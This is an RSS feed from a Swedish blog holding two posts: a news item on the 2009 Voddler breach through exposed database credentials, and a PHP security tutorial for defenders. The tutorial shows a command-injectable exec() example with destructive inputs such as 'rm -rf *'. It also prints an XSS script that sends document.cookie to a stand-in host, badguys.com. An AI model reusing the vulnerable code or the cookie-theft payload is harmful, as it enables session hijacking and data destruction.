<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Från skog till web &#187; Säkerhet</title>
	<atom:link href="http://txc.se/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://txc.se</link>
	<description>Om att se livet från olika sidor</description>
	<lastBuildDate>Sat, 19 Jun 2010 21:49:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Voddler har blivit hackat!</title>
		<link>http://txc.se/2009/07/voddler-har-blivit-hackat/</link>
		<comments>http://txc.se/2009/07/voddler-har-blivit-hackat/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 10:46:11 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[idg]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[voddler]]></category>
		<category><![CDATA[webmaster network]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=52</guid>
		<description><![CDATA[Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna. Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det ett inlägg under Nyheter på WN. Eftersom IDG brukar vara relativt snabba på att skvallra när [...]]]></description>
			<content:encoded><![CDATA[<p>Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna.</p>
<p>Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det <a title="Voddler hackat, av fransmänn!" href="http://www.webmasternetwork.se/f3t37778.html">ett inlägg under Nyheter</a> på WN.</p>
<p><img title="(Läs mer...)" src="../wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><span id="more-52"></span></p>
<p>Eftersom IDG brukar vara relativt snabba på att skvallra när det hänt något så skickade jag ett mail till Daniel Goldberg på Computer Sweden (eftersom han skrev om <a title="Premiär för ny svensk filmtjänst" href="http://computersweden.idg.se/2.2683/1.238079">Voddlers premiär</a>) och hänvisade till tråden på WN, kort därefter så dök <a title="Intrång på Voddler - bara timmar efter premiären" href="http://sakerhet.idg.se/2.1070/1.238506/intrang-pa-voddler--bara-timmar-efter-premiaren">artikeln upp på Tech World</a>, med hänvisning till WN.</p>
<p>Mina kommentarer är kort att det är förargligt men även att förskräckligt.</p>
<p>Hur gjorde dom då?</p>
<p>Enligt inlägget från fransmännen (forumet är nedstängt, men en kopia finns här: <a href="http://x.jine.se/voddler/index.html">Sida 1</a>, <a href="http://x.jine.se/voddler/index2.html">Sida 2</a>) som lade ut det hela, så verkar han ha kommit åt en fil med PHP-kod, där uppgifter till MySQL fanns med (root uppgifter med synligt lösenord) och testade att logga in med detta till maskinen.</p>
<p>Enligt Mattias Hjelmstedt, vice vd och en av grundarna bakom Voddler, så skulle detta enbart röra sig om intrång i beta-programmet.</p>
<blockquote><p>– I det läget hade vi 176 aktiva konton och intrånget har skett i betaversionen och inte i den skarpa tjänst som lanseras snart. Vi har nu skärpt säkerheten och sett till att liknande intrång inte ska kunna ske igen, säger Hjelmstedt.</p></blockquote>
<p>Men det han glömmer att berätta är att det finns 15&#8217;000st epost adresser på vift med tillhörande lösenord. Samt att beta &amp; den framtida webbplatsen finns på samma maskin. Dit hackarna har haft tillgång.</p>
<p><strong>Uppdaterat</strong>: Nu har även <a title="Intrång på Voddler" href="http://www.svd.se/naringsliv/it/artikel_3177117.svd">Svenska Dagbladet</a> kommit ut med det</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/07/voddler-har-blivit-hackat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Säkerhet</title>
		<link>http://txc.se/2009/04/php-sakerhet/</link>
		<comments>http://txc.se/2009/04/php-sakerhet/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 19:43:04 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[Webben]]></category>
		<category><![CDATA[kapning]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sessioner]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=37</guid>
		<description><![CDATA[PHP är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a title="PHP, eller Hypertext Preprocessor, är ett open-source, ett server-sid programmers språk." href="http://www.php.net">PHP</a> är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. Många mailinglistor, forum och bloggar rapporterar stadigt om nya säkerhetshål i PHP applikationer, men PHP kan vara lika säkert som vilket annat språk som helst om man bara förstår dom vanligaste missarna man kan göra.</strong></p>
<p>Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.</p>
<p>Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.<br />
<span id="more-37"></span></p>
<h2>Ej kontrollerade inmatningar</h2>
<p>Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.</p>
<p>Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot &#8221;<em>cal</em>&#8221;.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna koden har ett stort säkerhetshål, detta genom att den <em>$_GET['month']</em> och <em>$_GET['year']</em> blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge <em>month </em>är ett värde mellan 1 och 12, och <em>year</em> är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver &#8221;<em>ls -l</em>&#8221; istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva &#8221;<em>rm -rf *</em>&#8221; istället och därmed radera hela din websida!</p>
<p>Den korrekta vägen att göra detta är att kontrollera att <em>year</em> och <em>month</em> verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att <em>month och </em>year är siffror och enbart siffror, som jag visar nedan.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.</p>
<p>Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med <em>null</em> tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.</p>
<p>Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.</p>
<h2>Åtkomstkontroll</h2>
<p>En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.</p>
<p>Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en &#8221;djupare&#8221; sida, vilket skulle innebära att han kommer förbi denna kontroll.</p>
<p>Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.</p>
<p>Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs <em>include</em> funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog &#8221;<em>_includes</em>&#8221;, där det finns en <em>.htaccess</em> som innehåller <em>deny from all</em>. Detta är redundant, så alla kataloger i denna katalog skyddas också.</p>
<p>För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer &amp; konfigurations filer är lagrade i <em>_includes</em>. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www &amp; admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en <em>.htaccess</em>, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i <em>.htpasswd</em> i roten.<br />
<code><br />
/home<br />
&nbsp; /httpd<br />
&nbsp; &nbsp; /www.example.com<br />
&nbsp; &nbsp; .htpasswd<br />
&nbsp; &nbsp; /includes<br />
&nbsp; &nbsp; &nbsp; cart.class.php<br />
&nbsp; &nbsp; &nbsp; config.php<br />
&nbsp; &nbsp; /logs<br />
&nbsp; &nbsp; &nbsp; access_log<br />
&nbsp; &nbsp; &nbsp; error_log<br />
&nbsp; &nbsp; /www<br />
&nbsp; &nbsp; &nbsp; index.php<br />
&nbsp; &nbsp; &nbsp; /admin<br />
&nbsp; &nbsp; &nbsp; &nbsp; .htaccess<br />
&nbsp; &nbsp; &nbsp; &nbsp; index.php<br />
</code><br />
Du skall ställa in så att Apache indexerar <em>index.php</em> och visar den som standard, detta är oftast redan gjort om man har PHP installerat.</p>
<p>Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till <em>.bak.php</em> istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.</p>
<h2>Session ID Skydd</h2>
<p>Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.</p>
<p>Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.</p>
<p>En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda <em>session_regenerate_id</em> funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.</p>
<p>Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan <em>sniffa</em> trafiken.</p>
<p>Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället <em>sha1()</em> (PHP 4.3+) eller <em>md5()</em> för att spara en hash av lösenordet istället.</p>
<pre name="code" class="php">if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}</pre>
<p>Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.</p>
<pre name="code" class="php">if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}</pre>
<div>SHA-1 algoritmen är inte utan dess brister, och den snabba utvecklingen i dator krat gör det möjligt att generera vad som är känt att kallas kollisioner (olika strängar med samma SHA-1 summa). Men ovanstående teknik är fortfarande ett överlägset sätt än att spara lösenord i klartext. Använd MD5 om du måste, eftersom det är bättre än att använda klartext, men kom ihåg att senaste tidens utveckling gör det möjligt att skapa MD5 kollisioner på mindre än en timme med en standard dator. Idealet, vore att använda en funktion som implementerar SHA-256, vilket man kan använda med <em>hash()</em>.</div>
<h2>Cross Site Scripting (XSS) Brister</h2>
<p>Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.</p>
<p>Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en &lt;script&gt; tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.</p>
<pre name="code" class="js">&lt;script&gt;
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
&lt;/script&gt;</pre>
<p>För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &amp;lt; och &amp;gt;) för att bli HTML kodade (&amp;amp;lt; och &amp;amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.<br />
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom &lt;script&gt;. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.</p>
<p><a href="http://www.cgisecurity.com/xss-faq.html">Cross Site Scripting FAQ</a> på <a href="http://www.cgisecurity.com/">cgisecurity.com</a> ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/php-sakerhet/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
